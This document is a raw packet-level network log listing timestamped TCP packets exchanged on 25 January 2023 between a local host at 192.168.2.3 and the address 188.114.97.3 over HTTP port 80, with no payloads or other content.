Jan 25, 2023 09:42:44.060406923 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.060453892 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.060455084 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.060534000 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.060605049 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.060605049 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.060682058 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.060714960 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.060728073 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.060787916 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.060851097 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.060858011 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.060961962 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.061019897 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.061032057 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.061100960 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.061172009 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.061172962 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.061243057 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.061294079 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.061316013 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.061392069 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.061448097 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.061464071 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.061553001 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.061606884 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.061625957 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.061690092 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.061759949 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.061794043 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.061836958 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.061883926 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.061927080 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.061955929 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.062017918 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.062077999 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.062086105 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.062135935 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.062156916 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.062227964 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.062289953 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.062309980 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.062325001 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.062342882 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.062371969 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.062375069 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.062406063 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.062428951 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.062437057 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.062479973 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.062485933 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.062510967 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.062542915 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.062573910 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.062577009 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.062603951 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.062625885 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.062635899 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.062666893 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.062710047 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.062712908 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.062741995 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.062773943 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.062794924 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.062807083 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.062830925 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.062836885 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.062868118 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.062899113 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.062903881 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.062937021 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.062952042 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.062954903 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.062980890 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.063000917 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.063014030 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.063045025 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.063060999 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.063071966 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.063162088 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.063165903 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.063183069 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.063218117 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.063241959 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.063249111 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.063294888 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.063328981 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.063359022 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.063394070 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.063414097 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.063446045 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.063452959 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.063479900 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.063481092 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.063513041 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.063544989 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.063561916 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.063577890 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.063595057 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.063608885 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.063638926 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.063674927 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.063674927 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.063707113 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.063731909 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.063739061 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.063771963 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.063786983 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.063802958 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.063844919 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.063874960 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.063885927 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.063906908 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.063925982 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.063939095 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.063970089 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.063997030 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.064007998 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.064035892 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.064039946 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.064049959 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.064069986 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.064096928 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.064102888 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.064133883 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.064157963 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.064821005 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.106084108 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.106121063 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.106180906 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.106199980 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.106230974 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.106251001 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.106287003 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.106314898 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.106345892 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.106363058 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.106412888 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.106468916 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.106482029 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.106518984 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.106549978 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.108155012 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.108201027 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.108239889 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.108241081 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.108277082 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.108298063 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.108324051 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.108360052 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.108381033 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.108405113 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.108439922 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.108478069 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.108494997 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.108515024 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.108551979 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.108586073 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.108618975 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.108618975 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.108624935 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.108669043 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.108686924 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.108726025 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.108762026 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.108772993 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.108772993 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.108798027 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.108814001 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.108833075 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.108870983 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.108907938 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.108922958 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.108941078 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.108973980 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.108994961 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.109025002 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.109026909 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.109040022 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.109071970 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.109088898 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.109117031 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.109152079 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.109169006 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.109199047 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.109235048 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.109266996 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.109288931 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.109302044 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.109319925 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.109345913 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.109380960 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.109426975 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.109432936 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.109463930 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.109500885 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.109514952 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.109539032 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.109553099 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.109575987 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.109611034 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.109632015 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.109649897 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.109684944 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.109704018 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.109721899 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.109760046 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.109796047 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.109807968 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.109841108 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.109858036 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.109901905 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.109893084 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.109925985 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.109937906 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.109972954 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.109991074 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.110011101 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.110054016 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.110063076 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.110068083 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.110106945 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.110131979 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.110142946 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.110188961 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.110203981 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.110241890 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.110260010 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.110260010 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.110279083 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.110312939 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.110348940 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.110363960 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.110388041 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.110424995 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.110440016 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.110464096 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.110493898 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.110527039 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.110560894 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.110598087 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.110634089 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.110660076 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.110671043 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.110726118 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.110744953 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.110744953 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.110764027 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.110802889 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.110831022 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.110846996 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.110863924 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.110899925 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.110903978 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.110950947 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.110987902 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.111006021 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.111021042 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.111056089 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.111077070 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.111102104 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.111109972 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.111138105 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.111175060 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.111196995 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.111212015 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.111247063 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.111284018 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.111288071 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.111320972 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.111360073 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.111372948 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.111382961 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.111421108 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.111443996 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.111458063 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.111465931 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.111515999 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.111560106 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.111578941 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.111596107 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.111632109 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.111649036 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.111670971 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.111723900 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.111735106 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.111759901 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.111780882 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.111798048 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.111809969 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.111835003 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.111870050 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.111893892 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.111907005 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.111943960 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.111968994 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.111983061 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.111999989 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.112018108 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.112056971 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.112072945 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.112093925 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.112129927 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.112149954 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.112165928 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.112201929 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.112238884 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.112251043 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.112284899 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.112299919 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.112335920 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.112348080 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.112348080 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.112374067 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.112410069 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.112445116 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.112464905 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.112489939 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.112510920 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.112554073 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.112555027 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.112579107 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.112586021 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.112616062 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.112644911 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.112673044 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.112673998 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.112696886 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.112701893 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.112732887 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.112761974 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.112782955 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.112792015 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.112823009 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.112842083 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.112855911 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.112874031 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.112874031 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.112906933 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.112930059 CET	49728	80	192.168.2.3	188.114.97.3
